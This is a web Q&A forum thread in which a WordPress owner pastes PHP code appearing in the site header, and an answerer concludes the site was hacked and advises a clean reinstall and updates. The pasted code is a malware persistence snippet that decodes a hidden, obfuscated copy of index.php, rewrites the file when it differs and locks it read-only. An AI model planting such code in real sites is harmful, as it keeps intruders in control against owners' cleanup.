Strange error | $i_p = "index.php"; $index = file_get_contents($i_p);

Viewed 521

in this case I dont understand from came this error. I can't say more because I don't know exactly where this error might be coming from.

I've enabled litespeed web server. For 2 days working everything correct. Today morning when I open my website I see:

for WordPress website working correct but some elements not working and display error in header:

$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
} 
$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
}

for subdomain WHMCS no working is:

403​
Forbidden​
Access to this resource on the server is denied!

I'm not sure what the error might be and where is it coming from? Thanks for the hint

1 Answers

It looks to me like your site has been hacked. You should:

  1. Remove all files from the server and upload the original version
  2. Update your Wordpress installation
  3. Update all your plugins and themes
  4. Rinse and repeat

Youtube about the same issue/error/hack

Related